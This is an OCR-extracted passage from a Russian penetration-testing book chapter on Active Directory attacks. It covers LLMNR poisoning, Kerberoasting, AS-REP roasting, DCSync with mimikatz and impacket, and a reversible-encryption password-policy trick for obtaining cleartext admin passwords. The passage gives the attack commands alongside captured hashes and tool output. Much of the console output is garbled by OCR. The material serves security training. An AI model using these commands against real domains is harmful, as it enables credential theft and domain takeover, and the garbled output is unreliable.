Успешно выполненная атака будет выглядеть так, как показано на рис. 6. 1 7.
Так оператор может узнать NetNTLMv2-xeши паролей пользователей. Как их взла
мывать, уже разобрано ранее.
(SNH}
NTLMv2-SSP Cl i e n t
192 . 168 . 226 . 1 3 7
[ SMB ] NTLMv 2 - SSP Username
[
Sl<\!3 J
NТL�lv2-SSP Hash
TDOl.\AIN\Aдfo\ИH'1CТpaтop
Админис тратор : : TDOl•IAI N : 0 5 0 f 7 80ced0e2da8 : 4CЗCB97C69AAOAбBF BDAAF8 19B7CD.
100460056000400140053004000420033002E006C006F00630061006C0003003400570049004E002D00500052004800 34•
9020106000400020000000800300030000000000000000000000000300000EABC E 1926A4A70596BDA4 0 7 2 8 5D4BBC 5139B
000
[ •]
[ LLMNR ]
Poisoned answer sent to 192 . 168 . 226 . 137 for nan1e qwerty
[ • ] Sl<ippiпg previously captured hash for
ТООl>\АIN\Ади11нистратор
Рис. 6.17. Результат успешной атаки LLMNR Poisoпiпg
Поиск критически важных данных при атаке на домен
1 13
Kerberoasting
Реализация протокола Kerberos в Windows использует имена участников службы
(SPN) для определения того, какую учетную запись задействовать для шифрования
билета службы. В Active Directory существует два варианта SPN: SPN на основе
хоста, и произвольные SPN. Первый вариант SPN связан с учетной записью ком
пьютера домена, а второй обычно (но не всегда) - с учеткой пользователя домена.
В документации Microsoft написано буквально следующее:
<<Когда
в Active
Dir.ectory создается новая учетная запись компьютера, для встроенных служб ав
томатически создаются имена участников-служб. В действительности имена
участников-служб создаются только для службы НОSТ, а все встроенные служ
бы используют имя участника-службы HOST>>.
Но т. к. пароль учетной записи
компьютера по умолчанию случайный и меняется каждые 30 дней, оператор в кон
тексте данной атаки, как правило, не обращает внимания на имена SPN на основе
хоста.
Произвольные имена участников-служб также могут быть зарегистрированы для
учетных записей пользователей домена. Например, учетная запись службы, которая
управляет несколькими экземплярами MSSQL. Таким образом, учетная запись
пользователя по умолчанию будет иметь SPN <MSSQLSvc/нosт : PORT> для каждого эк
земпляра MSSQL, для которого она зарегистрирована. Эта учетная запись хранится
в атрибуте ServicePrincipa lNarne профиля пользователя.
Как следует из специфики работы Kerberos, любой пользователь может запросить
TGS для любой службы, имеющей зарегистрированное SPN для учетной записи
пользователя или компьютера в Active Directory. Таким образом, зная учетные дан
ные любого пользователя домена и SPN учетных записей из домена, оператор мо
жет запросить TGS от имени пользователя для данных экземпляров SPN. А взломав
TGS, узнать пароли от этих учетных записей (рис. 6. 1 8).
Конт роллер домена
о
•
:i',IШ--.:..
Сер вер
Компьютер
пользователя
пр иложения
Рис. 6.18. Схема атаки KerЬeroasting
1 14
Гла ва б
Выполнить атаку можно как удаленно, так и при наличии непосредственного дос
тупа к системе. Но для начала нужно получить все SPN из системы. Если есть дос
туп, следует использовать встроенное решение setspn (рис. 6. 1 9).
setspn -т [домен] -Q * / *
С : 1_1:.er·> r·oot -.Desktop:· s e t s pn -т t d omai 11 . do111 - Q
Проверка домена OC=tdoшai n. OC=clom
OJ =DC l , O IJ =Don:ai n Co 11t r" o 1 1 e 1· s . DC=t dor.1ai n , DC=dom
"i"
D f>г · 12F%27C · B F 9 7 - 4 787 · 9364 · D 3 1B6C5 5ЕВ04 ; DC l . t cl o111ai n . dom
1 clap, DC l . tcJoшai 11 . do111." Fo1· e s t DnsZones . t d omai n . dom
1 clap 'DCl . tclo01ai 11 . do1н"Domai nDn>Zones . tclo111a i 11 . clom
DNS,- DC l . t clo111ai 11 . dош
1;с · DCl . t d omai n . domitdomai n . cloni
Restr· i cteclк1·i)Host '· Dc l . t clomai 11 .1:1om
R e s ·t 1· i ctecJк1-l)Host ."ocl
RPC,- lcdbc28e · d8 3e� 4fбf · b 0 2 8 ·cdb0b0 5 f 3 3al . _111 s dcs . tdomai n . do111
HOST DC l · TOOf•1AIN
HOST,DCl . t d oщai 11 . dom;TDOHAНJ
HOST 'DCl
HOST · DC l . t do111 ai n . doni
HOST/ DC l . t cJoшai n . dom/tclomai п . сlош
Е 3 5142 35 · 4B06 - 11Dl -.:..B 04-00C04FCLDCD?/lcdlк28 e - d 8 3e - 4 f6f-b028 - cdl)Ob0 Sf33a11tcloшai n . dom
1 dap.'DCl."ТOOf·1AHJ . ,
l dap 1 lcdbc28e - d8 3 e - 4 fбf- b028 - cdb0b05f33al . _msdcs . tdomai n . dom
1 clap DCl . t d omai 11 . cJ0111.'TD·)l•'дIN
l clap 'DCl
1 dap · DCl. t clomai 11 . dom
1 clap · DC l . t domai n . d o111/tdomai п . dощ
N=kr·l)tgt , CN=IJ s н s . DC=tcloщai 11 , DC=dom
h:adini 11 icliangep";
i:: N =SQL acl1111 11 . CN=Us e1· s . DC=tdoшai п . DC=clom
<:
1::: N=.-;i 11- с
DCl а m1 n_s . t oma1 n .
1 1 ent , CN=ContpL1te r s , DC=t d0t11ai 11 . DC=dom
!Найдено
су:.L.;ествуюu.ее SPN ,
Dfsr - 12F9A27C - BF97 - 4 787 - 9 36 4 - D31BбC 5 5EB04/wi n - c l i ent . tdomai n . dom
WS�дN � i n - c l i eпt
,.;51.:дN ".i n - c l i eпt . t d omai n . dom
R e s t г i ct edкгbHost .'WIN ·CLIENT
HOST; 1-:IN -CLI ENT
Restl' i cte dк1· bнost/\·;i n ·с 1 i ent . tdomai n . сJощ ·
ноsт.· ,.. ; п - с 1 i .:пt . t domai r1 . dom
Рис. 6.19. Получение SPN с помощью setspn
Указанным способом мы получаем SPN пользователя SQL admin, а это означает, что
он уязвим к такой атаке. Локально получить билет можно с помощью Rubeus
(рис. 6.20).
Для удаленного получения SPN и билета необходимы учетные данные любого
пользователя домена (рис. 6.2 1 ) .
GetUserSPNs . py -request -dc-ip [адрес]
[домен] / [ польэователь ]
Для взлома используется hashcat (рис. 6.22).
hashcat -а О -m 1 3 1 0 0 krb5 . hashes dict . txt
Kerberoasting можно также выполнить, перехватив сетевой трафик и захватив биле
ты Kerberos TGS в случае МIТМ.
Поиск критически важных данных при атаке на домен
Рис. 6.20. Получение билета с помощью Rubeus
Рис. 6.21 . Получение билета с помощью impacket
1 15
116
Глава
6
$krb5 t gs$23$•admin_sql$TDOl>IAIN . D0/>1$DC1/ admin_sq l . tdoma i n . dom•$db4980456896Ыaaa37dcbc3Sbeca4bd$a043c3326f93123 ·
286 ЗЬ888с 087d1е95Ьаfб4 ladec 427 60839 fS 2 ЬЬ41Ьс383 604ЬЫ S f f34 сЬа 0 бс Ь4За080бЬ6644е18е5с 50с dca с 14 f f85 7 04d 7 5 08ае963 5 i
92 432 е 2аса6f12Ь7db2 805 85с d93 0а а30с еа42 а е812 bd1 ее Зс d4 7 Ь4бс еЗ 7 f 3с91а7е149ЗЬ85ас118852Заае19 ЬЬе99с4 d0 fс 84 е З 2с 43 86,
87 а 383 9а 7 а 582Ьс 4е9Ь97 89f0ebd9lfс104Ь83Ьс12 fdd53 е 382558d0d3dб188с941d8bc3 с 600953995d16 7 415 а dб82 d19ff5Ье18с 7 2 7 с 0:
ае f81508с 0 2 58е8143е ld 5 fб fbeac 2 9а8383917 80а cd4 285 79 е9 5992 4с 20099се 26Ыd Ьес da 85bcd1829188d4 2 bd9d5605с02а14 21 еЬ95•
е3а1Заа1Ь88а17 с68211е71023078c60c6b5c99e5f5c5f15179ее 7d8ecc77f3ef6029e124 76 7 c09f33e9311d99fc 8878е6 7е 7ес7 с59с34,
15е5f61с 1е02d4ба1d5е9 е е66Ьс 9 3 Ь842154 5с 7 ас 0 7 70bdбе2бс94аеdбd14 516917 860c80d2 4d8310ЗЗ410ЬеЬ 1fа7 015 59са f008Ь5 а0Ь 71
4485d9b4б19Ь4аб87 5а91Ьсf7889Ьб 7 7 7 3 fS 2 44 еЬ811се6129 76а2с40баb3d5 3896da с1dd26182 f414 f f559 Sc Sc 7 с бе50бЬ f405 50d .1546•
5 Ь4с cde0 2 f 822d5844 fсбе е51d50а 52 lаЫ 0с Ьс З f4 3 7 2 ee5d еЬ 7 59абdс 7 4 f с 001fбdе3 09Ь6а 4а 185ЬS 4бЬf584с14 4d899 l dЬ8е07 7 еЬf9 51
З 2 fbd9e86d d 3ес lda f 7 211fЗ5 5 lc 7еЗЬ8315 3с952 366fаf6Ь19edfа1 Ы30 ff d6 7 60 7599 51492еfЬ6е1f91838З аЬ4 b82Sd f5 5 Зае а Ь7 2 808•
а 0d 9d9b09 lad бс 62 49 7 22 Ьа 5 Зс 7 9с ЬЬе 1660b4b02d4 9 c0da ба За 5416283 f f90а0Ы 7 4 60с с2е а468319е б8485баЬ :SuperPasSYrord9
Рис. 6.22. Результат работы hashcat
AS- REP Roasting
При обычных операциях в среде Windows, когда пользователь инициирует запрос
TGT (операция Kerberos AS-REQ), Kerberos должен указать временную метку,
зашифрованную своим паролем (ключом). Метка представляет собой структуру
PA-ENC-TIМESTAМP и встроена в PA-DATA (данные предварительной авторизации)
AS-REQ. КОС расшифровывает эту метку, чтобы проверить, действительно ли
совершающий операцию субъект - тот, за кого себя выдает, а затем возвращает
AS-REP и продолжает обычные процедуры аутентификации.
Подобная проверка называется предварительной аутентификацией Kerberos и не
обходима для предотвращения автономного угадывания пароля. Но проверку мож
но отключить выставлением флага DONT_REQ_PREAUTH в UAC учетной записи пользо
вателя. Чтобы отключить проверку для конкретного пользователя, оператору необ
ходимо наличие привилегии GenericWrite или GenericAl l .
Set-DomainObj ect - Ident ity [ пользователь ] -XOR @ { useraccountcontrol=4 1 9 4 3 0 4 }
Дело в том, что при отключенной предварительной аутентификации Kerberos КОС
все равно вернет AS-REP, который, в свою очередь, зашифрован с помощью ключа
службы krbtgt. Но зашифрованная часть AS-REP подписывается клиентским клю
чом, т. е. ключом пользователя, для которого отправляется AS-REQ. Выполнить
атаку можно локально с помощью того же Rubeus (рис. 6.23).
Для удаленной атаки нам нужно узнать пользователей, у которых отключена пред
варительная аутентификация Kerberos, для чего необходимо иметь учетные данные
любого пользователя в домене (рис. 6.24).
GetNPUsers . py [ домен ] / [ nользователь ] : [ пароль ]
Теперь выполним запрос для найденного пользователя (рис. 6.25).
GetNPUsers . py [домен ] / [ пользователь ] - k -no-pass -dc-ip [ I P ]
Различие между Kerberoasting и AS-REP Roasting состоит в том, что для данной
атаки нужно только имя пользователя (рис·. 6.26), т. е. можно составить список и
проверить сразу несколько имен (рис. 6.27). Плюс ко всему можно также узнать,
какие пользователи зарегистрированы в системе, а какие нет.
Поиск критически важных да нных при атаке на домен
r:
117
\Uset· s\t·oot\Desktop>RtJbetJs . ехе asгept· oast
с== \
) )_
__
.1 : :
'- \ :
vl. 5 . 0
[*]
)_
_ : __/
f _ -- - \i - 1 i !
' _) ) __ i ! _ I
_)!
Act i on : AS-REP г oas t i ng
[_* ] Tat· get Dornai n
[*]
i /_)
i_ 1
) _/ (_/
__
t dornai n . dorn
Searcf1i ng path ' LOAP : //DC l . t doniai t1 . dorn/OC=tdoшai r1 , 0C=dorn ' fог Kerber oastaЫ e t1sers
: аl ех
: CN=A l ех , CN=Users , OC=tdomai n , ОС=dош
Oi sti n gtJ i sf1edName
Us� n g _ domai t1 contr�l l er : DC l . t dornai � . don1 �192 . 16 8 . 2 2 � . 137)
tdoma1 n . doш\al ex
Bu1 l d1 n g AS - REQ (1•1/0 pr·eautl1) for :
AS - REQ 1о;/ о preat1th successft1l !
AS-REP l1as h :
[ *] SaщAccotJnt Name
[*]
[*]
[*]
[+]
[*]
$krb 5ast·ep$a l ex@tdornai n . d om : 6 3 B 5AD8261785CE0BF 2 7A01F5AF9FB10$9A274 3863E03197F 2С 3
7EEFB64013 3 3087 3FBA7422 B l09EF FCAFE 7 61107167A14 B 5 7 3 0 5 FC6466FA2 3BFD3D296 3Bl75B809B
2 52F6248F 3 E 2 F 5 B 201A58FAB195EB 2996 E 8 5 969821BB 3 9014D590A86D0 5 57704 3 58B238 32BEB 5 128
917 547622D94AC 34FOC21B27F61EC15 3AOA097D00CAAA 3 3 5 768441EA1C 3A3B0 36C368E8AD903Al68
98C50E9A90E9ElFEE8 3AF07EC4993E08B 19777A0FFDF5CB5EOA2CC 5E8AOE319AE72E7E 5AA1044993
714A3F69310E18000E6917882A60C414 3 3E 5 779BE2CB7Bl8B418E4FC002D76BD5C9F 381BB00D8CC5
Oo8 507770F6281DlCFF79A6 6 5 0405 6 9 5 4 5 E lB 5 2ECF54AFE93
Рис. 6.23. Получение xewa с помощью RuЬeus
1
: # GetNPUsers . py tdorna i n . dorn/roo t : 1 2 34S678
Irnpacket v0 . 9 . 21-dev - Copyright 2019 SecureAuth Corporation
11 Narne
1���:
-
МеmЬегОт
��=�:�:�:�����::��:;:���;����=��::������=�::--;;;;=�;���
Рис. 6.24. Получение польэователей с отключенной предварительной аутентификацией KerЬeros
tepack�t
•
11'
&@ot�PVsers ру
t dDlll< нn
v! 9 21-dev � Copyг11ht 2019
( 111 C.ettlng ТЫ
for
•lex
$krbSas r€>pS23$.Jl•xfjТО€»tд1 N
�
d�/�l�x ·k wno-p�ss -dc-1p
Sесш!'Auth Corp.o;,,t1on
192.168 226.137
Ь79d59с.Ьf1е92аl'lbd7€'Ь82сЬdб2с0889Sbb57 сб•2le3c1824SadЗ• 7ttc8dЗl91Ьа7с211f17Se492ебf2б70.nd8fbd1d88cса}357749718fебс2аS16fЬf31
с 7823S f843372291ioс094956182io3ббSSc'876Sb!!eOdfР82f2С1аР578d13264u 7fс t.бSedf7f717<i9Seb12Ь1Ь845Зt.бlбQd16аЬЬ7t1e0585d2b977C12CI119с;1847с692 79fbc 6889ВЗбаЗSЫЬае41!
24d72bc1646ЗCJ280E>&fbd93a3246fE"1412abefcfd&39c.cdЗ03bcc2Зь03c7bl.32di.o571c291268478d19ffб139bбб61fбcc7J.988cfffed7t.2ed51e-74e9d51a3fOadc46aбdaffd18d3•16б5c55b!
04 l7SJece1755123b�8ee1d51Ы"clo/oe96fff93S1Sef82eS12d61o1i 1McSfd304Gt.7се679f
Рис. 6.25. Получение xewa с помощью impacket
Рис. 6.26. Список польэователей
Гла ва б
1 18
: -/t��" GetNPUsers . py tdoma i n . dom/ -usersfile users . t xt
Impacket v0 . 9 . 2 1 -dev - Copyright 2019 SecureAuth Corporation
[ - ] Kerberos S e s s i on E rror : KDC_ERR_C_PRINCIPAL_UNKNO\•IN{ Client not found in КегЬе1·оs database)
[ - ] User i·oot doesn ' t have UF_DONT_REQUIRE _PREAUTH set
$k1·bsasrep$2З
$11Z!OJTDO/.IAIN . оом: f б 75601Sd 7 f 4 67 Ьс 5 Se f 4Зdб127eb286$35b5e2J9994 fb22eeeac1ас10f1628
842b3de76e400123cc86371e072880d2d3791e3abfa49444f5e4e69433d606adlcd12a609dff3Зde08304fadbd4a95
23f8be448ae830f9c5dd9afa1ee8бf4661ab04eb9aeбb58c19397ca9
[ - ] Kerberos S e s s i on E r гo1· : KDC_ERR_C_PRINCIPAL_UNKNO\llN ( C l i en t not found i n �erberos databa s e )
[ - ] U s e r v i vo doesn ' t have UF_DONT_REQUIRE_PREAUTH set
'· '
[ - ] User roman doesn ' t have UF_DONT_REQUIRE_PREAUTH s e t
�
'
KDC_ERR_C_PRINCIPAL_UNKNO\llN ( C l i e n t n o t 'found i n Kerberos databa s e )
.
[ - ] Ke1·beros S e s s i o n E rror : KDC_ERR_C_PRINCIPAL_UNKNO\llN ( Client �ot fouflci" i n кerbe1·os database)
[ - ) Ke1·beros SessionErro r :
Рис. 6.27. Проверка имен пользователей и получение хеша
: t �i :: JO hn --wordl1st=dict. txt krbt. hashes
Usшg default input encod1ng: UTF�S
Loaded 1 pass>1ord hash (krbSasrep,
\111 1 l 1·un 8 ОреnМ.Р threads
Press
' q ' or Ctгt-c to abort,
:mi::D
i1
!
'
•
,.,
,
"
•
,
Kerberos 5 AS-REP etype 17/18/23 {MD4 Нi'IAC·/o\05 RC4 / PBKDF2 НМАС·SНА1 AES 256/256 AVX2 8х ) )
alщost ,щу other key fo1 status
( $krb5asrep$olexi1TDOМAfN
-
DОМ)
Рис. 6.28. Результат работы Johп
Взломать полученный хеш можно с помощью John the Ripper (рис. 6.28).
Другое различие между Kerberoasting и AS-REP Roasting заключается в том, что
AS-REP запрашивает билет проверки поД11инности Kerberos (TGT), а не билет про
верки ПОД11 ИННОСТИ службы (TGS).
DCSync
Для атаки DCSync необходимы специальные права. Любой член групп «Админист
раторьш и «Администраторы домена)), а также учетных записей компьютеров
контроллера домена может выполнить репликацию данных, используя протокол
репликации каталогов DRS. Таким образом клиентский DC отправляет запрос
DSGetNCChanges на сервер, коrда хочет получать от него обновления объектов AD.
Оrвет содержит t1абор обновлений, которые клиент должен применить к своей реп
лике NС.
Можно выполнить DCSync с использованием обычной учетной записи пользовате
ля. Но Д11Я этого одно из следующих правил должно быть делегировано на уровне
домена, чтобы учетная запись пользователя могла беспрепятственно получать дан
ные с помощью DCSync:
1.
DS-Repl ication-Get-Changes - это разрешение необходимо Д11 Я репликации только
тех изменений, которые также реплицированы в глобальный каталог.
2.
os-Replication-Get-Changes-All
-
разрешение позволяет репликацию всех данных.
Члены групп «Администраторы)) и «Контроллер домена)) по умолчанию имеют эти
права. После того как учетной записи делегирована возможность репликации объ
ектов, учетная запись может использовать mimikatz DCSync (рис. 6.29):
mimi katz# lsadщnp : : dcsync /domain : [домен] /user : [ пользователь ]
Поиск критически важных данных при атаке на домен
1 19
Рис. 6.29. DCSyпc с помощью mlmikвtz
Также при реализации данной атаки можно получить историю паролей учетной за
писи, точнее NТLМ-хеши. Взлом этих хешей позволит понять логику выставления
паролей, что, возможно, поможет угадать следующий пароль в случае замены
(рис. 6.30).
He•h
е4Вев8f 3c53ldB&d6746aB8f11f7dbS 7
1
87Ь3 f 51 fBc244cla84627894•97 lf Ь6В
fвa9lb2f1 fefde9вaec738bf272Ьll9a
9 1S f2Ь8a576188Ьl65be4bae6771 f92f
259745сЫ23а52аа2е693ааассв2dЬS2
Рис. 6.30. Взлом хешей, полученных с помощью DCSyпc
Re•ult
Гла ва б
120
Выполнить DCSync можно также с . помощью
учетные данные (рис. 6.3 1 ) .
impacket
удаленно, для чего нужны
.
secretsdurnp . py tdomain . dom/root : Secret 0 8 @ 1 92 . 1 68 . 22 6 . 137
t:
secгetsdump . р у tdoma1n . dom/root : Secret08ill1 92 168. 226. 137
Impacket v0 . 9 . 21-dev - Copyright 2019 Secuп·Auth Corporation
[ .,. ]
[ �]
{ .., ]
["]
Service RemoteRegistry i s i n stopped stэte
Stat·ting service RemoteRegistry
тмgеt svstem Ьооtкеу :
Cx67bб1SЗSЗct10fa07bЗSЗa9 fdf 7 7bae9З
Dumping loca1 SAM hashes ( u i d : r i d : lmhas h : nthash)
Адмиш1с тратор : 5 0 0 : ааdЗЬ435Ь51l+О410>еааdЗЬ435Ь51ЦJ4ее: 8е1528dSfbd70c02e23edc f328ЗdЫ97 : :
Гость : 501 : aad3b435b5140i.eeaadЗbi.ЗSb51404н: Зldбс f eOdlбae931ЫЗc59d7eOcQ89c0 :
{ •] Dumping cached d')mai n logon info1·mation ( damcJ in/username : ha s h )
["] Oumpi n g L S A Secrets
{ ; ] $MACHINE . ACC
TDO/.\AIN\DC1 $ : аеs25б-с t s-hmac -shal -96 : ЬсЗа 7db4Sd0Sb3874dd3cd7711cclt ff62601649lt 7109ltc racb5cd33a9c3c89fе
TDOl<\AIN\DC1 $ : .зes128-t: t s-t11nac -st1a 1-96 : lb47S 13с59ЬЗВаЬЬfаОе51+с1+2 fLib581.ie
TDOИAI�J\Dll$ : des-cbc-mdS : 54809dbf2fS432 75
TOO/.\AIN\DCl $ : aad3b435b� 1404eeaad3b435bS140l.e e : 21b31d75 7Ь3219б6Зе04е9сЬ8сd82951 : :
·
[ •] DPAP!_SYSTHI
dpap i _maс h l nekey : 0xd7Зd660ae8bЗS1•SOбd991{)4Ь987 е63За68а640с2
dpap1 _ userkey : Ux0fb48882982a f6a lb9a8ad08Ьt.32:15290Ьс 7<Jd28
[' J NLSК>I
0000
А2 46 2А 76 59 9В DE BS
44 ВЕ 7Е 6 5 72 31 01 77
0010
42 14 40 5 1 7Ь 4Е СЬ F7
AS 3 7 63 07 7С 44
0020
02 'JA 60 10 9F 4Е 7Ь 76
24 31 Вд
AF СЗ ЕЬ 1В 62 31. В4 Об
0 1 Е 7 7Е ВЕ ЗА 40 С1 CS
0030
ЗА
01 АА
2F Е Е Fl CF
. f:JcvV . . . D . - e r l . t'I
B . FQvN . . . 7c . I D • .
• . m • • Nv{Sl . : / . . .
. . • Ь4 . . . . • . :ii) • .
N L $КИ: а24б2а 7б !:.99bdeb544be7 е657 231017 7 421ч1+65 1764ес6f7 а5 3 763d 77с440laa029a6d109 f4е 76 7Ы 431Ьа За2fее f1 с fа f с3еб1Ь6234b4d601е77е8еЗа40с 1 с 5
[•] Du111ping Domain Cпdentials (domain\uid : ri d : lmhash : nt l ы � h }
( * ] Using the ORSUAPI method to get N T O S . D I Т seпets
{-] Еио1· �>th1le processing usei-�
( - J chr( ) ar·g not in гange(256)
[ - J fпor l'lhi\e p1·ocess i n g useг!
[ - J chr( ) a r g not i n 1-.1nge(2Sб)
k 1·btgt : 502 : аае13Ь435Ь51404eeaad3hi.35bS1'•04ee : 7d3Gc92fOa f9633blbOd70dad8f92b39: . .
гооt : 1001: .:ыdЗM35b51404eeaad3bli35bS1404ee: e48eaQ f3cS3ldBOd6746a80fll f7dbS7 :
tdomain . dom\atex : 1105 : aad3b43Sb514()4eeaad3b435b51404ee : 8c7dccc51a3fс77а031 f fbc2 f3cd619e : : :
tdomai n . dom\v i vo: 1109: aad3blt3Sb51404ee<1Jd3b43Sb5 1J.04ee- : Вс.2еббееб812 74< 7Зе l a 2 1 5 18a0dlбe4 : : :
tdomain . dorn\ j (>nny : 1110 : aad3b435b51404eeaad3b435b51404ee: <dабсс99есЬ42еаббЬlб0002еЬ907с f 4 : : :
tdornain . dom\adm.in_ sql : 1 1 1 2 : aad3b435b51404eeaad3b43Sb51404ee: 80-4a133Ьlб859aellb69ed21d794dda3 :
[-]
fi-ror �1hile p1·ocessing user�
::
( - ) chr( ) arg not in 1·ange( 256 )
DC 1 $: 1002: aad3b435bS l40lieeaad3Ьli3Sb51404E'e: 21b31d7S 7Ь321966Зе04е9сЬ8сd82951 : : :
\'JIN-CLI fNT$ : 1118 : aad3b43Sb51404eec1ad3b43Sb51404ee : с9с5сS9аЫ7485е7297 f с0Ьdбаа8Ь717 :
[ t J Ke1·beros keys grabbed
·
krbt g t : aes256-ct s-hmac-sha 1-96: 24b8bad8eU4ai. 7598c29d29 7а0ббf 7f4d3697a66ec2195be50fa8Li6ca 7еЬб52ь
krbtg t : aes128-cts-hmac-shз1-96 : 41 f bda f f9f f73f c4204055b3d9db8136
krbtgt : des-cbc -md5 : 86fbb3c4154 f dSf2
гооt : aes"J.56-c ts-hmac-sltal-96 : 5е9627 79201 f.t.09511 fe3bd4€0d20-4 lb6f755248f Ь7с92:Ьабfсбс4Ь3а4Ь78d72
root. : aes128-ct s-hmac-shal-96 : 0ЗЬ'J81а96 735958618b56dl1ebalb0Ьf
root : des-c bc-md5 : 1 f405b92c2758"02
tdomJ i n . dom\3lex : aes256-c ts -hmac-shal-96 : dc44Sd49e773aб578Ые5dеlа8а09беб2ее89е4903999Ьс1аfбЬ7 aaбaSf 72fЫ
tdomain . dom\alex : aes128-c ts-hmac-shal-96 : de5d9323 flll 99b2aS40E'C403430d7d<1
tdomain . dom\alex:: dPs-cbc-mdS : 7c5d9HdeSfd384 f
tdomain . dom\vivo : aes256-c t s-hmac-shal-96 : Ь f9cdd4 f ее772440бЬ0с88ЬееSа83ЬОЗсс48f99с22с72702d2Ы fe4af57327bc
tdoma i n . dom\vi va: aes128-cts-hmac-sha 1-96: 8494Ы9b72f126d939e6e59050522112
tdoma 1 n . dom\v ivo : de-s-cbc-mdS : f 1ебЬ39ЬсЬсе159d
tdom,1 i n . dom\j ennv : aPs2�b-ct s-hm<1c-sha 1-96 : f253Li 1la328Uc59cd56f8d7ef423a5aad4380de0dc.8b3b7d7cte ffe85fч2dfbf1
tdoma i n . dom\j enny : aes 128-ct s-hmac-sha 1-96: e04bf ef le9dcc646975db f е9а f85020f
Рис. 6.31 . DCSync с помощью impacket
Получение открытого п ароля
с помощью DCSync
Но что делать, если хеш пароля не взламывается (рис. 6.32, 6.33)?
Выход есть! Для учетных записей Active Directory существует устаревшая функция,
которая называется «обратимое шифрование)). Если включено обратимое шифра-
Поиск критически важных данных при атаке на домен
121
ванне, то зашифрованные данные могут быть возвращены обратно к паролю поль
зователя.
Если для учетной заnиси включено обратимое шифрование и пользователь меняет
пароль после установки этой конфигурации, пароль в виде открытого текста сохра
няется в базе данных Active Directory.
t:i•e d e n t ials
H a s l1 NILM
n t l111- 0
n t l111- 1
n t l111- 2
n t l111- З
n t l111- 4
n t l111- 5
1111 - 0
1111 - 1
1111 - 2
1111
1111
-
з
- 4
2 d 5 e a9 1 6 8 2 a7af6ec 8 4 b 8 8 e b76 1 5 Ьac7
2 d 5 e a 9 1 6 8 2a?af 6 e c 8 4b 88 e b76 1 5 bac?
e 4 8 e a 0f 3 c 5 3 1 d80d6746a80f 1 1 f ?db5?
@?Ь3 f 5 1 f 8 c 2 44c1a0462?094a971f b6 8
f aa91 b2 f 1 f e f de 9 aaec 730Ьf 272Ь1 1 9 a
9 1 5 f 2 b@a5?6 1 8 8 Ы 6 5 be 4bae67?1 f 9 2 f
2 59?45сЬ1 2 З а5 2 аа2 е 6 9 Зааасса2dЬ52
6 6 b2 2 3 b7bdcf e 39 a8 c @@d8 e c 08 ?02412
2 9е Ь 9 Ь1 6 9 3 9 5 ?5 9 d0сЬ??5 6 9 ?1 5 е 00е@
6 3 ?6 1 b9 a 3 5 2 de f 5 e d25a9 8 e 45 a8 0f 9 1 1
e4?05@e a8 9 e a3 1 e a2 f 2@5 8 e f 1 S1ac0be
1 0d 3 1 2 9 4 b8 e 6 9 6 0 e dc ?e e f a c 9 00 c 05 2 8
Рис. 6.32. DCSyпc после изменения пароля
Ha•h
Result
87Ь3fS1f8c244cla84627894a97lfЬ68
faa91b2f1fefde9aaec7З8Ьf272bl19a
91Sf2Ь8а576188Ь16SЬе4Ьае6771 f92f
259745сЬ12За52аа2е693ааасса2dЬS2
Рис. 6.33. Сложный для взлома хеш пароля
Оператор может создать новую группу ShareRoint и добавить все учетные записи
домена с атрибутом AdminCount, установленным в 1 .
P S > New-ADGroup -Narne ShareRoint -SarnAccountNarne ShareRoint -GroupCategory Security GroupScope Global -DisplayNarne ShareRoint -Path "CN=Users, DC=tdo!)la in, DC=dom"
PS > $Admins = Get-ADUser -filter { AchninCount -eq 1 }
PS > Add-ADGroupMemЬer ShareRoint -MemЬers $Admins
Теперь нужно создать новую парольную политику.
PS C : \Windows \system32> New-ADFineGrainedPasswordPolicy -Narne ShareRoint -DisplayNarne
ShareRoint - Precedence 1 -ComplexityEnaЫed $false -ReversiЬleEncrypt ionEnaЬled $true
-PasswordНistoryCount О -MinPas sworc!Length О -MinPasswordAge 0 . 00 : 00 : 0 0
MaxPasswordAge 0 . 00 : 00 : 00 -LockoutThreshold О -LockoutObservationWindow 0 . 00 : 0 0 : 0 0 LockoutDuration 0 . 0 0 : 00 : 00
-
Проверим, что атрибут ReversiЬleEncryptionEnaЬled установлен в True (рис. 6.34).
PS C : \Windows \system32> Get-ADFineGra inedPasswordPolicy ShareRoint
Теперь стоит применить парольную политику к новой группе.
Add-ADFineGrainedPasswordPolicySuЬj ect -Identity ShareRoint -SuЬj ects ShareRoint
Проверить, применилась ли парольная политика, очень легко (рис. 6.35).
122
PS
Гла ва б
С : \1•! 1 n d ows\sysi еО13 2 >
G e t -n D F 1 n e G r a i 11 e d P asswordPo 1 i c y S h a r e R o i n t
'n p p l 1 o s To
�
co"p l e и i t y [ n a Ь l e d
D i s t i 1• q u i sh t> d Ha�r
[_ o c k u u t U tJ r d t 1 0 "
L o c k o u \ O b s e r v a t i onW i 11 dow
L oc k o u t l h r e sh o l d
МdиР tlSSwo r d R q if"
M 1 n Pa•swor1ln9e
M i 1trds�wo r d l r n q t h
HdMP
ObjectC las.
ll b J e c t G U I D
Passwor d H i s t or y C o u n t
P r P c t d P n C t>
H e v e r • 1 Ь l e E 11 c ry p t i on E na Ь l e d
()
l a l.e
C Ho Sha r e R o i n t , C H=P a ssword S r t l i n 9 s C o n l a 1 ner , C H0 Sy s t r01, D C = t d o01a i n , D C = do01
О О : О О : ОО
0 11 : 0 0 : 0 0
о
Oll : llU : UO
00:00:00
11
Sl1a1· e R o 1 11 1
мsO S P a s swordS e t t i n g s
eba770da-cЫ b-429f-8487-e3296a0887dd
о
1
1 rt1e
Рис. 6.34. Парольная политика для ShareRoiпt
Рис. 6.35. Парольная политика для ShareRoint
Новая парольная политика обнуляет все стандартные параметры безопасности
паролей домена. После смены пароля, которую инициирует оператор, все пароли
администраторов будут храниться в открытом виде (рис. 6.36).
" Packages
*
ИегЬе гоs -Неwег-Иеуs
" P1•i111 a1•y : CLEARTEXT
! H 41•dS З c 1•e7
*
Рис. 6.36. Пароль пользователя в открытом виде в результате DCSync
Хранил и ще п ароле й Windows
Data Protection API (DPAPI) - криптографический интерфейс программирования
приложений в ОС семейства Windows, обеспечивающий конфиденциальность дан
ных путем их шифрования.
Почти для всех криптосистем одна из самых сложных задач - управление ключа
ми, вернее вопрос безопасного хранения ключей. Если ключ хранится в виде обыч
ного текста, то любой пользователь, имеющий доступ к ключу, может получить
доступ и к зашифрованным данным. DPAPI позволяет разработчикам шифровать
приватные данные или ключи, используя симметричный ключ, полученный на
основе пароля пользователя.
Поиск критически важных данных при атаке на домен
123
DPAPI предоставляет набор API для простого шифрования (CryptProtectData ( ) ) и
дешифрования (CryptUnprotectData ( ) ) данных с использованием неявных ключей,
